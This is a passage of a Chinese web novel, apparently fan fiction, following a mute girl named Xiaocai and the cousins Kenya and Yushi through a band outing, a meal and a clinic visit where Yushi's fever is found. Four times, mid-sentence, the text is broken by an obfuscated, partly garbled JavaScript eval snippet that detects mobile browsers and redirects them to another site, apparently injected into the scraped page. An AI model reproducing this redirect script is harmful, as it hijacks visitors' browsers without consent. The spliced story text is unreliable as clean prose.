她莫名觉得自己好像动画片里的那只小狮子,被举起来的小辛巴。 一个女高中生红着脸,目光流连在小彩的头发上:“那个,她是土谷君的妹妹吗?” 土谷绩这才把小女孩抱得稳当了些,让她坐在他的臂弯上。 他的脸贴近小彩的脸,神神秘秘地勾了勾唇:“你猜?” 两张脸明明一点都不像,但那边的女生还是激动地拉住同伴的手:“是兄妹吗?是兄妹吧!她和土谷君一样是天生的发色吗?好可爱啊!” 她和同伴嘁嘁喳喳地说着什么,小彩没有听清,她的大脑一片空白,所有杂乱的思绪宛如被橡皮擦擦掉了一般,变得干干净净的。 头发露出来了,但好像并没有她想象中那么可怕。 这次她没有感受到那种刺人的目光。 土谷绩帮着她理了理有些凌乱的头发,托着她在观众面前走了好几圈,直到忍足谦也跑到他身边,他才把小彩放下。 小彩晕乎乎的,说不上自己现在究竟是什么感受。 她捂住自己的心口,偷偷摸摸地瞥着周围的人,直到反复确认并未从他们脸上看到什么不好的神情,这才放下自己那颗空悬许久的心。 一缕裹挟着热意的风拂过,她的心也像是被这缕风给熨平了,妥帖而轻快地跳动着。 土谷大哥哥说的小惊喜就是这个吗? 那些大姐姐们好像有说,他也是天生的白发,他是在安慰她吗? 虽然不知道是不是安慰,但是她好开心! 没有那种奇怪的眼神,一个都没有! 大阪原来是这么包容的城市吗? 她喜欢这里! 小彩动了动手指,下意识想要摸摸自己的帽檐,却摸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573919|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个空。 帽子还在土谷绩手里。 他似乎并不打算把帽子还给她。 以后是不是可以不戴帽子了呢? 片桐彩雀跃地想着,把目光又投向了乐队那边。 境原御斗宣告他们今天的演出到此结束,乐队的成员们开始收拾起他们带来的设备。 忍足谦也牵着有些心不在焉的小彩,让她在一旁坐下缓缓神,自己却跑到他们面前帮着一起收拾。 “师匠,谢谢你。” 谦也帮着把转接线一圈一圈地绕起,没绕两下就被一旁的土谷绩夺了过去。 “这点东西还用得着你这个小孩来收拾?”土谷绩笑眯眯的,“你不是都叫我‘师匠’了吗?帮自己的学生实现一点小小的心愿而已,这点小事又不算什么。” “好了,玩儿去吧,等我们收拾好了,带着你的好朋友和我们一块儿吃饭去,你境原大哥请客。” 境原御斗无奈地笑笑:“对,我请——你们喜欢吃什么?要不要去吃M记新出的儿童套餐?我记得那个里面有附赠《小羊警卫队》的玩具。” 原本还有些犹豫的忍足谦也听到《小羊警卫队》,目光瞬间坚定起来。 他小手一挥,毅然道:“不用境原哥请,我来请!作为你们帮助我的谢礼!” 他从自己随身携带的小包里掏出一只鬣蜥钱包,仔细数了数里面的钱——绝对够了! 他把自己所有的钱都带上了,就算是去吃烤肉也足够他们吃三五顿了。 只是一点零花钱而已,用完了还可以再存嘛。 他好心情地跑回自己的好朋友身边,小脸红扑扑的:“小彩,一会儿我们一起去吃M记新出的儿童套餐吧?套餐送《小羊警卫队》的玩具欸!” 片桐彩重重地点了点头,从自己的小包里掏出一个软绵绵的小羊钱包塞到他手里:‘我来请谦也吃!也请大姐姐大哥哥们吃!’ “不用啦,我来请!” 忍足谦也把她的小羊钱包塞回她的小挎包里,一副成熟可靠好哥哥的模样:“等小彩长大了,长到比我还大的时候再请吧,做哥哥的不能让妹妹请客。” 小彩拗不过谦也,只好同意了。 乐队的人收拾的速度很快,没一会儿功夫就收拾好了。 赤楚辉弓和江场月两个女孩子似乎很喜欢小彩,一人牵一边牵着她的手,往M记走去。 忍足谦也则一脸不情愿地跟在她们身后,跟三个大哥哥一道。 土谷绩好笑地弹了弹他脑后翘起的头发:“不就是牵会儿手吗,我看小彩自己也挺高兴的,你倒是先生起气来了。” “那是我的朋友!好朋友!” 忍足谦也气呼呼地踢着地面上的小石子:“好朋友才能一直牵手的,你们怎么不去和姐姐们牵手!” “就是因为你们不牵手,赤楚姐和月月姐才会霸着我的好朋友不放——我和小彩都说好了今天要一直牵着手的!” 土谷绩无语地把自己这个麻烦的学生提溜起来:“谁管你啊,老实待着吧。” 忍足谦也被他摁在怀里动弹不得,只好委屈巴巴地被这么一路夹到了M记。 他和小彩两个小孩被安排在窗边的位置坐下,替高中生们看着点东西,他们则跑去点单台点单。 谦也这次终于如愿以偿地和小彩腻在一起,和小彩相亲相爱地看起了刚才在外面收到的一沓议员竞选宣传单。 一黑一白两颗毛茸茸的脑袋聚在一起,谦也小声地读着广告单上的字,遇到不认识的就乱猜,小彩则一脸崇拜地看着他,偶尔还比几个“好厉害”的手势。 两个小文盲半猜半蒙地读完了大半张纸,窗户上突然传来的“叩叩”声吸引了他们的注意。 片桐彩疑惑地抬起头,一张熟悉的脸出现在她的眼前。 14.第 14 章 片桐彩疑惑地抬起头,一张熟悉的脸出现在她的眼前。 呜哇。 是侑士! 他怎么提前回来了? 她兴奋地冲着他招了招手,示意他进来,忍足侑士也没有犹豫,冲着不远处的男人说了句什么,径直朝里面走来。 ‘我们给侑士腾点位置吧!’ 小彩快速冲着忍足谦也比划了几下,紧跟着就开始手忙脚乱地收拾东西。 她在家里显然不常做这样的事情,越收越急,越急越乱。 原本还算齐整的宣传纸被完全铺开,她随手拉起丢在一旁的小挎包,可没想到拉链没拉好,里面乱七八糟的小玩意儿都往外蹦,撒得满座都是。 “小彩,放着我来吧,”谦也无奈地叹了口气,手上的动作一刻也没停:“你去看看侑士有没有进来吧?” 小彩赧然地点点头。 她也知道自己是给谦也添乱了。 如果她是一只小茶壶的话,谦也这会儿一定能看到她的脑袋顶歘歘地往外冒热气。 谦也认认真真地把宣传纸叠在一起,又帮着她把散落在座椅上的东西收起来。 彩笔、小画册、漂亮的头绳和发夹,还有一些乱七八糟的、不知道是从哪里拔下来的小装饰物…… 他不由得又叹了口气,莫名觉得自己有一点可怜。 在家里他要管着弟弟翔太,帮着翔太一块儿收拾他的那堆小垃圾,出门了还要管小彩…… 不过小彩显然要比翔太的好太多了,至少不是像翔太那样每天抓一堆小虫子、捡一堆易拉罐拉环回家。 越想他越觉得自己可怜,每天回家的时候除了要面对一个吵闹不休的弟弟,还要面对随时会被弟弟吓到揍孩子的妈妈,最可怕的是还有那些被翔太带回来的、不见踪影的天牛一号角盾蝽二号…… 可悲的生活。 要是翔太是个妹妹的话…… 忍足谦也不禁打了个寒噤。 大伯说过,性格会受到遗传和环境因素的相互作用影响,想来就算翔太是个妹妹,性格也大差不离吧…… 他悲伤地擦拭着自己眼角不存在的眼泪,一个抬头就看见了扑在自家堂哥身边、宛若一只花蝴蝶一般飞来转去的好朋友。 她飞快地冲着他打着手语,小手不断地动作着,几乎要打出残影,脸上还带着些热切的笑。 而他堂哥则背着小提琴包微微俯身,一边观察着她的手语给予回应,一边护着她往这边走。 啊啊,真是快乐的小伙伴啊。 他觉得自己更可怜了。 忍足谦也的怨念几乎就要飙到忍足侑士的脸上去。 他抬了抬眼皮,瞥了眼在那头咬牙切齿的兄弟,又收回目光,专注地盯着小彩的手。 “抱歉,小彩,有些我还是没能看懂,”忍足侑士低声道:“等我回去以后再多学一些手语……” ‘没关系啦,侑士已经够辛苦的了,我直接写下来好啦。’ 片桐彩轻轻拍拍他的手臂以示安慰。 不能说话的坏处这就来了,不是所有人都会像她的家人一样懂手语的。 她学手语的时候很吃力,爸爸和姑姑学的时候也很吃力,侑士再怎么聪明,也不会比大人要聪明吧? 他每天的时间都排得满满的,生活里除了学习还是学习,能够玩耍的时间也只有短短三个小时。 对于一个小学一年级的小孩来说,尤其是家人都很疼爱的、生活上格外散漫的小彩来讲,一天只有三小时玩乐的时间简直比坐牢都要难受! 他们都还是小孩子,小孩子就要多玩一玩才对嘛! 学习什么时候不能学呢? 听姑姑说,以后学习会更加辛苦的,就没有时间玩了。 小彩不想自己的朋友都那么辛苦了,还要把时间分给可恶的学习……还是为了能和她一起更好地玩耍才学! 要是她能说话就好了。 要是她能说话的话,侑士就不用学习,他和谦也也不用总盯着她的手看,看得眼睛都酸了。 片桐彩沉默着想了好多好多,小脸皱成一团,纠结的心情任谁来看都觉得一目了然。 她被忍足侑士牵着坐下,这回谦也坐在了最里面,小彩夹在他们兄弟中间。 “哟,这不是小侑吗?”赤楚辉弓端着餐盘在位置上坐下,伸手揉了一下他的脑袋:“你姐呢?怎么没和你一起?” “姐姐在九州游学还没回来,我只是路过看到小彩和谦也在这里,过来看看。” 忍足侑士抿着唇,显然对于她叫自己的小名这件事有些别扭:“请不要叫我小侑,我已经是大孩子了。” 赤楚辉弓撇了撇嘴,没有回应什么。 她唱了半天也有些饿了,帮着三个小孩安排了今天的饭以后,就一手抓起一个汉堡大快朵颐。 境原御斗见到多出来的一个小孩也有些意外,他随手从土谷绩餐盘里揪出一个套餐附赠的玩具,塞到忍足侑士手里。 土谷绩不满地嘟囔着:“喂,境原,那个是我的欸!” “我付的钱,我做主,”境原御斗捶了一下他的肩膀:“你扒着我的钱包给你自己买了五份,别以为我不知道。” 土谷绩自知理亏,便也没再说什么。 他和赤楚辉弓一向不怎么对付,带着自己的餐盘坐到了江场兄妹那桌去。 境原御斗在赤楚辉弓身边坐下,温和地望着对面的三个小孩:“先吃,不够的话我再去点。” 片桐彩向来不知道什么叫客气,她听大哥哥叫他们吃,她就挑了一个自己喜欢的汉堡吃了起来。 忍足兄弟和他们挺熟悉的,也没有客气。 只是谦也还是依着他最开始的承诺,把鬣蜥钱包塞到境原御斗的手里:“境原哥,多少钱从里面拿就好,说好了我请客的。” 境原御斗随手从里面拣了几个硬币,就把钱包还给了他:“我早就和土谷他们说好了要请客的,谦也请我们吃冰淇淋就好,这些够了。” 忍足谦也对此很不满,嘟囔了一阵,最终决定回去的时候再多请他们吃一顿章鱼烧。 他们倒是没有食不言的规矩,一边说一边谈论着今天上午的事情,忍足侑士细细地听着,差不多明白了小彩为什么没戴帽子。 说实话,他对这件事情很在意。 他本来是准备立刻回家的,却没想到在这里碰到了小彩和谦也。 他最开始还以为自己认错了——毕竟他知道小彩有多么害怕摘下帽子,这一点早在他们那一次在街上相遇他就知晓了。 可那就是小彩。 他来来回回看了好多眼、确认了好多遍,那就是小彩。 她和谦也头靠着头,也不知道在看些什么,时不时地还惊喜地给谦也鼓鼓掌,一副崇拜至极的模样。 哈,搞笑。 谦也那个小傻瓜能讲出什么有趣的东西? 他到现在都还在上幼稚园,不像他,已经是个成熟的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580087|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生了。 忍足侑士矜傲地扫了眼正在一旁捏着小羊玩具傻乐的堂弟。 小学生和幼稚园小孩是不一样的。 幼稚园的小孩都太不成熟了,唔,小彩除外。 对哦,小彩还在上幼稚园。 这附近最好的幼稚园就是谦也在的那一所,小彩爸爸应该给她转学去那里吧? 那开学的时候,她会不会就要和谦也一起手拉手去学校了呢? 他的目光在小彩卷翘的头发上停留了一瞬,原本得到些许安慰的心瞬间又沉了下去。 他只是离开三天,她就和谦也更加亲近了,要是他们一起上学的话…… 想到以后他们会更加亲近,他的心情就变得很糟糕。 要是她能来上小学就好了,那样的话,他就可以和她一起上下学了。 如果幸运一点分在一个班,那他不光是上下学的时间能和她一起,就连上课吃饭也能一起了。 毕竟她是大兔大明神*赐予他的小兔子。 他一个人的小兔子。 …… RE?FISH的人下午在别的区还有演出,吃完饭便匆匆和小孩子们告别,赶JR去了。 片桐彩一手牵着一个朋友,蹦蹦跳跳地往家的方向走去。 直到经过一个幼稚园的时候,忍足谦也突然停住了脚步,忸忸怩怩道:“小彩,那是我的幼稚园。” 小彩顺着他的视线望去,嗯,不错,是一所看起来就很好玩的幼稚园。 从外面看,各类游乐设施齐全,造型设计也选择了小孩子们会喜欢的类型。 不过为什么要给她看这个? 她困惑地歪了歪脑袋。 啊,可能谦也是想给她介绍他的……唔……母校吧? 她恍然大悟般地点点头:‘原来如此,看起来很棒!’ “那你……”要不要来这里和我一起上学? “咳咳咳咳咳!” 忍足谦也才吐出两个字,就被自家堂哥剧烈的咳嗽声给打断了。 他本还有些担心,偏头望向自家兄弟的方向查看情况,可那点担心却在堂哥略带挑衅的目光中消散殆尽。 他故意的! 谦也几乎就要被他气得跳脚,但小彩显然不知道这一点,一直担忧地给他拍背,探他额头的温度。 她忧心忡忡地问道:‘真的没事吗?’ 忍足侑士掩着口鼻,又虚弱地咳嗽两声:“没事,可能是回来的时候被风吹到了……” “哼,他一会儿就会好的,”忍足谦也不满地皱起了眉:“小彩不用管他。” 片桐彩不赞同地瞥了他一眼:‘怎么可能不管呢?侑士可能是生病了哦,我们要快点回去才行。’ “他根本就没……” 在小彩不悦的目光下,忍足谦也渐渐回过味来。 要是就这么揭穿侑士的话,小彩肯定会生气不理他的,毕竟他又没有证据。 就算他有证据,侑士那么精明,肯定还会找出其他的方式狡辩,到时候吃亏的还是他。 谦也转了转眼珠子,脸上扬起了一个格外灿烂的笑容。 “小彩,你说的没错,”他的眼睛直勾勾地盯着可恶的侑士:“侑士生病了,那应该回去好好休息才对。” “小彩免疫力不太好,还是等侑士好起来以后再和他一起玩吧?” 他牵起小彩的手,往旁边退了几步:“侑士,你也不想小彩被你传染吧?” 15.第 15 章 “侑士,你也不想小彩被你传染吧?” …… 他大意了! 忍足侑士板着张脸望向可恶的堂弟。 虽然谦也是个成天咋咋呼呼大大咧咧的傻瓜,但是他再怎么说也是叔叔婶婶的孩子! 叔叔婶婶都很聪明,作为他们儿子的谦也自然也差不到哪里去。 接下来要怎么做好呢…… 还未等他想到合适的方案,小彩先一步凑过来,满目担忧:‘我们先把侑士送回家吧?先回去测量体温,看看有没有异常。’ “测量体温的话,那直接去我爸爸的诊所吧,”忍足谦也朝着一个方向指了指:“他的诊所就在那边,离这里不远。” 片桐彩连连点头,拉着忍足侑士就往那个方向跑,只是还未跑出去两步就停住脚步,不好意思地望向被他们丢在身后的谦也。 ‘那个……我不认识路……’ 忍足谦也也不恼,慢步到她身边:“我来带路好啦,小彩跟好我,至于侑士——” 他面无表情地瞥了眼堂哥:“病人还是不要和小彩牵着手比较好,要是小彩被传染到就糟糕了。” 他都这么说了,忍足侑士只好松开小彩,一个人慢吞吞地跟在他们身后。 片桐彩不放心地回头看了好几眼,他背着琴包一个人走在后面,孤零零的。 在忽明忽暗的日光下,他整个人都有带了几分忧伤的意味。 总感觉他像一只被抛弃的小动物,看起来好可怜。 他们现在不就是在抛弃好朋友吗? 小孩子总是有一种奇妙的英雄情节,小彩也不例外。 朋友感冒了,他们只是怕传染就这样抛下朋友,实在是非常非常的不合适! 太没有义气了! 小彩这下一点再没有犹豫,往回跑了几步,跑到可怜的侑士身边:‘侑士,没关系的,我不怕被传染,我们还是像以前那样一起走吧?’ 她掌心朝上,面对着他,眼底写满了认真和坚定。 “但是要是传染给你,你会很难受的哦,”他错开了目光:“你来大阪之前不是才生过一场病吗?片桐姑姑说还挺严重的呢。” 片桐彩只是这样直直地望着他,没有作出任何回应。 她迟迟不肯把手收回,似乎一定要等到他把手放到她的手里才行。 忍足侑士怔怔地望着她,她仿佛在这一刻披上了骑士的盔甲,整个人在日光下熠熠生辉。 是幻觉吧,奇怪的画面。 他原本完全笃定自己没有发烧,可这会儿却有些不确定了。 他的脸颊热热的,手心也热热的。 或许他是真的病了,但是自己没有发觉。 他是该去叔叔那里测一测体温了。 小彩耐心地等了好一会儿,好朋友才终于动了。 只是他没有把手放到她的手中,而是掩住自己的口鼻,往后退了几步。 “抱歉,小彩,”他的声音从他的掌心里传出来,闷闷的,叫人听得不太真切:“我可能真的感冒了,还是不要传染给你比较好。” ‘可是我不介意啊,’片桐彩气呼呼地比划道:‘你是我的好朋友,好朋友不是那个,嗯……同吃……饭……’ “同吃一锅饭*?” ‘啊,对!就是这个!’她重重地点点头:‘好朋友之间就是要有福同享,有难同当!’ 忍足侑士露在外面的一双眼睛弯了弯:“话虽如此,但要是小彩因为我生病了,我会很难过的——不是有一句话吗,‘有鱼心就有水心*’,好朋友之间也是这样的,一心换一心。” “小彩关心我,我也应该关心小彩才对,这样才是真正的好朋友嘛。” 片桐彩被他的话震住了。 侑士懂的好多! 简直和大人一模一样! 这样叫人听不懂的话,她只有在大人之间的交谈中听到过。 好厉害啊! 她懵懵懂懂地点点头。 虽然前面的“鱼心”“水心”什么的她没有听懂,但是后面的她听明白了。 好朋友之间要互相关心,她想要和侑士一起走是她在关心侑士,侑士不和她一起走是侑士在关心她。 小彩感动得眼泪汪汪,‘那我就和谦也走在前面,侑士要快点跟上来哦。’ 忍足侑士点点头:“好,那就麻烦小彩和谦也带路了。” 可恶……! 怎么感觉好像输掉了! 忍足谦也牵着小彩的手走在前面,脑子里却不由自主地循环播放着刚才的事情。 他方才就站在他们身边,却始终都没能插上话。 他对于文学方面的东西不是很感兴趣,平日里就算是看书也只是看看漫画。 字再多一点的课外读物,也就是《如何养好鬣蜥》之类的科学养宠漫画书,在文学方面的储备量完全比不上成天捧着书看的堂哥。 这下小彩最崇拜的好朋友变成侑士了…… 呃啊啊啊啊! 这种事情怎么可以!!! 不管是作为兄长还是作为朋友,他都一定是最棒的才对! 忍足谦也胸中燃起了熊熊的斗志,下定决心回去以后要看很多很多书,势必要成为忍足家最有文化的小孩、小彩最有文化的朋友! 谦也爸爸的诊所离他们刚才所处的位置确实不怎么远,不过短短几分钟,他们就走到了诊所门口。 此时诊所里没什么病人,忍足万里子并不忙碌,她百无聊赖地趴在窗边,远远地就看到了往这边来的三个孩子。 谦也、侑士,还有一个不认识的小女孩。 她好奇地趴在窗口往外望,被身后突然出声的忍足宗也吓了一跳。 “万里子,你在看什么呢?” 忍足宗也凑到她身边,顺着她的视线往外望去:“哦,谦也和侑士啊,他们又闹矛盾了吗?怎么又分开走,还隔那么远。” “你看那个,”忍足万里子指了指自家儿子身边一步三回头的小女孩:“那个是不是谦也的那个新朋友?每天都要去找人家玩的那个?” 忍足宗也盯着小女孩看了一会儿,不确定道:“应该是吧……他今天不是带着人家去找土谷那孩子了吗?怎么会来这里。” 忍足万里子手忙脚乱地在抽屉里翻来找去,“不管怎么样,先找点东西出来招待一下孩子们吧?” 忍足宗也也反应过来,跟着手忙脚乱地翻找起来。 幸而他们诊所也开设了儿科,为了应付儿童患者,抽屉里总是装着各种各样的零食玩具。 他们挑挑拣拣地拣出来一堆味道不错的零食,又端正地坐好,摆出一副严肃靠谱的成熟大人的模样。 门上的风铃叮叮咚咚地响起,忍足万里子理了理自己的衣襟,端庄地走出办公室。 “妈妈!” 忍足谦也见到她眼前一亮,像只小狗一样屁颠屁颠地跑到万里子身边,手里还不忘牵着小彩。 “谦也,侑士,你们怎么来了?” 虽说忍足万里子是在和儿子侄子打招呼,但目光却始终黏在一旁的小女孩身上。 这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589639|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦也的妈妈呀。 她的目光热切,弄得片桐彩有些无措。 她怯生生地往忍足谦也身后躲了躲,只露出一双眼睛。 不能做没礼貌的孩子…… 小彩又鼓起勇气,伸出手比划了一个“你好”的手势。 忍足万里子扫了眼她的耳朵,没有助听器。 她一时间也拿不准这个小女孩是听不见还是单纯的说不了话,耐心地打着手语,语速也放慢了许多:“你好,我是谦也的妈妈,也是侑士的婶婶,你是他们的朋友吗?” 小彩好奇地在谦也身后探出了脑袋。 谦也的妈妈好温柔,好像教她手语的老师。 她的手语老师也是这样说话的。 她喜欢谦也的妈妈。 她心中的紧张感慢慢褪去,‘嗯,我是他们的朋友小彩……侑士好像生病了,请问可以帮他看一看吗?’ 闻言,忍足万里子惊讶地看了眼站在他们身后的侄子,却没从他脸上看出什么来,不由得有些担心:“当然可以——侑士快进来,让你叔叔给你看看,哪里不舒服?” 她推着侄子进了办公室,谦也也牵着小彩跟了进去。 小彩一向害怕医生,进来以后连头都不敢抬一下。 医生会打针,还会骗小孩打针不痛,是这个世界上最可怕的人了! 可是侑士生病了,她也很担心。 小彩躲在谦也身后,做贼似的瞄了眼坐在办公桌旁给侑士听肺的白大褂医生。 他蹙着眉,脸上的表情很严肃,但是能看出来他和谦也长得有些相像。 谦也的爸爸看起来好吓人哦。 他听了一会儿,没说什么,取出体温计给忍足侑士测温,侑士乖乖地任由他动作。 似乎是察觉到了她的视线,忍足宗也朝着她的方向望过来。 小彩打了个寒噤,战战兢兢地收回了视线。 好可怕! 医生果然是这个世界上最可怕的人类! 忍足谦也倒是对他爸爸的视线没什么感觉,他困惑地瞥了眼完全躲到他身后、一点也不动弹的小伙伴,小声问道:“小彩,怎么了?” 片桐彩把脸埋在他的后心,剧烈地摇摇头。 她柔软的头发不断蹭在他的后颈上,弄得他痒痒的。 忍足万里子好笑地和丈夫交换了个眼神,忍足宗也无奈地摇摇头,他冲着万里子挥挥手,示意她去哄哄。 万里子捧着一堆小零食,笑眯眯地带着小彩在一边“交谈”起来,谦也一边关注着妈妈和好朋友那边的情况,一边担忧地瞟几眼堂哥。 以他对他爸爸看病流程的了解,侑士大约是真的生病了。 也不知道严不严重。 忍足侑士自从进了诊所以后就没再说过话,他的脑袋晕乎乎的,听周围的声音都有些朦朦胧胧的,听不太清。 喉咙痒痒的,他不由得掩着唇,又咳了几声。 “38.6℃,”忍足宗也捏着体温计,眉心的褶皱更深了,“侑士,你发烧了。” 真的发烧了! 忍足谦也的心被排山倒海而来的愧疚之意淹没了。 他不该那样说话的。 一种微妙的责任感在他心中油然而生,他坚定地拍了拍自家堂哥的肩:“侑士,放心好了,我会好好照顾你的。” 照顾? 谁? 谦也吗? 忍足侑士虚弱地咳嗽了两声,板着张小脸果断拒绝:“不要。” 被粗心大意的谦也照顾的话,他会死掉的吧。 16.第 16 章 忍足谦也最终还是没能依着自己的想法照顾堂哥。 忍足侑士用了药以后,就被忍足万里子送回了家,连带着住在他家隔壁的小彩一起。 而谦也则被忍足宗也留下来帮忙——虽说他还只是个小孩子,但因着家学渊源,他对于常用药物也很了解,只是帮着取药给忍足宗也这种小事,他还是能做的。 片桐彩回到家里以后,还是有些担心。 她在跟着姑姑来大阪之前就发过一次热,喉咙很痛,头也晕乎乎的,感觉特别特别差劲。 侑士发热应该也很难受。 他的脸色看起来很苍白,连说话都有些有气无力的。 生病的时候要怎么样才能让人好受一点呢? 小彩忧心忡忡地坐在沙发上,努力回忆着过去爸爸是怎样照顾她的,小狗骑士依偎在她身边,陪着她一起想。 门锁“喀拉”响了一声,随之而来的是片桐纪久的声音。 “小彩,爸爸回来咯。” 片桐彩的眼睛一下子就亮了起来。 爸爸! 爸爸是大人,一直都把她照顾得好好的,他应该知道怎么样能让别的小朋友好受一点! 小彩踩着鞋子,“啪嗒啪嗒”地跑向玄关,一头扎进父亲的怀里。 她的手势比得飞快,弄得片桐纪久眼花缭乱。 他一把抓住女儿的手,柔声问道:“小彩怎么这么激动,发生什么事了?今天和谦也出去玩玩得开心吗?” 她敷衍地点点头,注意力却全然不在父亲的问题上。 她艰难地把手抽出来,再次比划道:‘爸爸,你知道怎么样才能让发热的人好受一点吗?’ “发热?”片桐纪久迅速上手探了探女儿额头的温度:“小彩发热了吗?来跟爸爸去量一量体温。” ‘没有,是隔壁家的侑士生病了,’小彩耷拉着眉眼,沮丧地比划着:‘他看起来很难受的样子,嘴巴都白白的……’ 虽然这样有些幸灾乐祸的嫌疑,但得知发热的不是小彩,片桐纪久还是在心里悄悄松了口气。 他的大手在女儿脑袋上磨蹭了几下,安慰道:“侑士应该吃过药了吧?他看起来挺结实的,应该很快就会好的。” ‘我知道吃了药会好,但是在好起来之前,侑士还是会难受的啊……’ 小彩仰着脸,一副要哭不哭的样子:‘我生病的时候也很难受,爸爸,我懂得侑士的感觉的。’ 片桐纪久突然不知道该说什么才好。 大约是爱人忌日将近,他的思绪总是有些纷乱。 他一下一下地顺着女儿的头发,目光柔和地倾注在她的脸上。 他过去也听到过类似这样的话,只是说这话的人已经不在了。 虽然他早就接受了这个事实,但偶尔还是会因为一些小到不能再小的事情,感受到他爱人在不远的过去留下的、还未来得及消散的痕迹。 比如现在。 他百感交集地望着女儿,轻轻地把她拢在怀里。 片桐彩也感受到爸爸的情绪不太对,便也没再继续比划些什么。 她懵懵懂懂地依偎在父亲的怀里,就像小狗骑士依偎在她的怀里一样。 良久,片桐纪久才调整好自己的情绪。 他的眼眶微微泛红,只是他肤色一向很深,神色如常,没有叫女儿看出什么异状。 小彩担忧地望着他:‘爸爸,你不开心吗?’ “没有,只是稍微有点累了,借小彩的肩膀靠一靠,”片桐纪久搓了搓女儿的脸:“小彩不是想知道要怎么才能让朋友好受一点吗?先想一想爸爸之前是怎么做的吧。” 片桐彩狐疑地观察着父亲的脸,却始终没能从他的脸上看出些什么。 她心里还是有些惴惴,犹犹豫豫地比划着:‘爸爸如果不开心,一定要和我说哦?就像爸爸会担心我一样,我也会担心爸爸的。’ 片桐纪久应道:“嗯,爸爸会的。” 说着,他又想到了什么,小心翼翼地开口:“小彩,爸爸过两天要回老家看妈妈,你要不要和爸爸一起去?” 小彩重重地点点头:‘是妈妈想我了吗?我也想妈妈了,我要去的。’ “那到时候爸爸来接你。” 片桐纪久不想继续和女儿讨论这个话题,他抱起女儿坐到沙发上,温和地问道:“小彩想起来爸爸之前是怎么做的了吗?” 片桐彩的注意力一下子就被转移过去。 她皱着一张小脸,不确定地比划道:‘爸爸给我做好吃的饭,带我看医生,还有讲故事哄我睡觉,给我拍拍……好像和平时也没什么区别哦。’ 片桐纪久说:“对,但小彩有没有因为这个觉得好受一点呢?” 小彩点点头。 她生病的时候,只要爸爸陪着,她就会觉得好受很多。 爸爸陪着她的感觉,和那些保姆阿姨陪着她的感觉是不一样的。 真奇怪。 明明是和平时一样的举动,为什么能够让病人变得舒适呢? 她疑惑地望向爸爸,试图从他那里得到合理的解答。 片桐纪久忍不住捏了捏她的脸,把她的嘴巴捏得嘟起,宛若小鸟的鸟喙。 他思忖了一阵,想好如何解释以后才开口讲给女儿听:“小彩,这是爱的力量。” “爸爸照顾你,是因为爱你,保姆阿姨们照顾你,是因为照顾你是她们的工作,”他的眼睛很温柔:“小彩,爱和工作是不一样的。” 小彩似懂非懂地点点头:‘爱能让生病的人好起来吗?’ 片桐纪久望着女儿,眼底里深藏着她看不懂的悲色:“不能,只有医生能让生病的人好起来……但医生也有无能为力的时候。” ‘那爱到底有什么用呢?’ “这个问题太深奥也太宽泛了,爸爸也不知道该怎么同你讲,”片桐纪久无奈地笑了笑,“爱有很多种——友人之爱,亲人之爱……” 他似乎想到了什么,又道:“爱也能让人变好,不过只有健康的爱才能做到。” 小彩不高兴地蹙着眉:‘爸爸又在讲大人的话了,小彩一点也听不懂。’ “抱歉,是爸爸的错,”他从自己杂乱的思绪中抽离,冲着女儿道歉:“总之,小彩只要把自己的心意传达出去就好了,身体上的事情小彩照顾不到,从心意上下手,你的朋友或许也会感到开心的。” ‘哦……’小彩若有所思:‘那我也给侑士讲故事?’ 可是他们隔了这么远,要怎么讲故事才好呢? 小彩苦思冥想,终于想到了一个好方法。 她在电视上看过一种叫“纸杯电话”的东西,只要把线拉直,就能听到彼此的声音,和对方对话了。 她丢下父亲,兴冲冲地跑上楼,找出合适的材料就开始动手做了起来。 片桐彩是个动手能力很强的小孩,纸杯电话的制作方法也不难,不消多时,一对纸杯电话就做好了。 她正准备丢个纸飞机过去敲敲对方的窗户, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590147|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让侑士开窗接电话时,喉口的一阵紧缩叫她停住了奔向窗边的脚步。 纸杯电话需要出声才能使用,不然她就只能听对方说话了。 她是想讲故事给侑士听,想要安慰自己的朋友。 可她忘记了,她不能说话。 